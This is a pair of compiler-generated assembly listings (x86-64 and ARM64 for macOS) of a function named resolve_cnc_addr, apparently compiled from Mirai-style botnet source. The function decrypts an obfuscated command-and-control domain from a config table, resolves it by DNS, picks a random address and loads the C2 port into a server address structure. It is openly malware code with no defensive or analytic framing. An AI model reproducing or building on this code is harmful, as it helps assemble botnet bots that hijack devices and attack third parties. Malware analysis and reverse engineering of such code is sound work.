	.section	__TEXT,__text,regular,pure_instructions
	.build_version macos, 13, 0	sdk_version 13, 3
	.p2align	4, 0x90                         ## -- Begin function resolve_cnc_addr
_resolve_cnc_addr:                      ## @resolve_cnc_addr
	.cfi_startproc
## %bb.0:
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset %rbp, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register %rbp
	pushq	%r14
	pushq	%rbx
	.cfi_offset %rbx, -32
	.cfi_offset %r14, -24
	movq	_TABLE_CNC_DOMAIN@GOTPCREL(%rip), %r14
	movl	(%r14), %edi
	callq	_table_unlock_val
	movl	(%r14), %edi
	xorl	%esi, %esi
	callq	_table_retrieve_val
	movq	%rax, %rdi
	callq	_resolv_lookup
	movq	%rax, %rbx
	movl	(%r14), %edi
	callq	_table_lock_val
	testq	%rbx, %rbx
	je	LBB0_5
## %bb.1:
	movq	8(%rbx), %r14
	xorl	%eax, %eax
	callq	_rand_next
	movq	(%rbx), %rcx
	movq	%rax, %rdx
	orq	%rcx, %rdx
	shrq	$32, %rdx
	je	LBB0_2
## %bb.3:
	xorl	%edx, %edx
	divq	%rcx
	jmp	LBB0_4
LBB0_5:
	popq	%rbx
	popq	%r14
	popq	%rbp
	retq
LBB0_2:
                                        ## kill: def $eax killed $eax killed $rax
	xorl	%edx, %edx
	divl	%ecx
                                        ## kill: def $edx killed $edx def $rdx
LBB0_4:
	movl	(%r14,%rdx,4), %eax
	movq	_srv_addr@GOTPCREL(%rip), %r14
	movl	%eax, 4(%r14)
	movq	%rbx, %rdi
	callq	_resolv_entries_free
	movq	_TABLE_CNC_PORT@GOTPCREL(%rip), %rbx
	movl	(%rbx), %edi
	callq	_table_unlock_val
	movl	(%rbx), %edi
	xorl	%esi, %esi
	callq	_table_retrieve_val
	movl	(%rax), %eax
	movl	%eax, (%r14)
	movl	(%rbx), %edi
	popq	%rbx
	popq	%r14
	popq	%rbp
	jmp	_table_lock_val                 ## TAILCALL
	.cfi_endproc
                                        ## -- End function
	.comm	_TABLE_CNC_DOMAIN,4,2           ## @TABLE_CNC_DOMAIN
	.comm	_srv_addr,8,2                   ## @srv_addr
	.comm	_TABLE_CNC_PORT,4,2             ## @TABLE_CNC_PORT
	.no_dead_strip	_resolve_cnc_addr
.subsections_via_symbols

	.section	__TEXT,__text,regular,pure_instructions
	.build_version macos, 13, 0	sdk_version 13, 3
	.p2align	2                               ; -- Begin function resolve_cnc_addr
_resolve_cnc_addr:                      ; @resolve_cnc_addr
	.cfi_startproc
; %bb.0:
	stp	x20, x19, [sp, #-32]!           ; 16-byte Folded Spill
	.cfi_def_cfa_offset 32
	stp	x29, x30, [sp, #16]             ; 16-byte Folded Spill
	add	x29, sp, #16
	.cfi_def_cfa w29, 16
	.cfi_offset w30, -8
	.cfi_offset w29, -16
	.cfi_offset w19, -24
	.cfi_offset w20, -32
Lloh0:
	adrp	x20, _TABLE_CNC_DOMAIN@GOTPAGE
Lloh1:
	ldr	x20, [x20, _TABLE_CNC_DOMAIN@GOTPAGEOFF]
	ldr	w0, [x20]
	bl	_table_unlock_val
	ldr	w0, [x20]
	mov	x1, #0
	bl	_table_retrieve_val
	bl	_resolv_lookup
	mov	x19, x0
	ldr	w0, [x20]
	bl	_table_lock_val
	cbz	x19, LBB0_2
; %bb.1:
	ldr	x20, [x19, #8]
	bl	_rand_next
	ldr	x8, [x19]
	udiv	x9, x0, x8
	msub	x8, x9, x8, x0
	ldr	w8, [x20, x8, lsl #2]
Lloh2:
	adrp	x20, _srv_addr@GOTPAGE
Lloh3:
	ldr	x20, [x20, _srv_addr@GOTPAGEOFF]
	str	w8, [x20, #4]
	mov	x0, x19
	bl	_resolv_entries_free
Lloh4:
	adrp	x19, _TABLE_CNC_PORT@GOTPAGE
Lloh5:
	ldr	x19, [x19, _TABLE_CNC_PORT@GOTPAGEOFF]
	ldr	w0, [x19]
	bl	_table_unlock_val
	ldr	w0, [x19]
	mov	x1, #0
	bl	_table_retrieve_val
	ldr	w8, [x0]
	str	w8, [x20]
	ldr	w0, [x19]
	ldp	x29, x30, [sp, #16]             ; 16-byte Folded Reload
	ldp	x20, x19, [sp], #32             ; 16-byte Folded Reload
	b	_table_lock_val
LBB0_2:
	ldp	x29, x30, [sp, #16]             ; 16-byte Folded Reload
	ldp	x20, x19, [sp], #32             ; 16-byte Folded Reload
	ret
	.loh AdrpLdrGot	Lloh0, Lloh1
	.loh AdrpLdrGot	Lloh4, Lloh5
	.loh AdrpLdrGot	Lloh2, Lloh3
	.cfi_endproc
                                        ; -- End function
	.comm	_TABLE_CNC_DOMAIN,4,2           ; @TABLE_CNC_DOMAIN
	.comm	_srv_addr,8,2                   ; @srv_addr
	.comm	_TABLE_CNC_PORT,4,2             ; @TABLE_CNC_PORT
	.no_dead_strip	_resolve_cnc_addr
.subsections_via_symbols
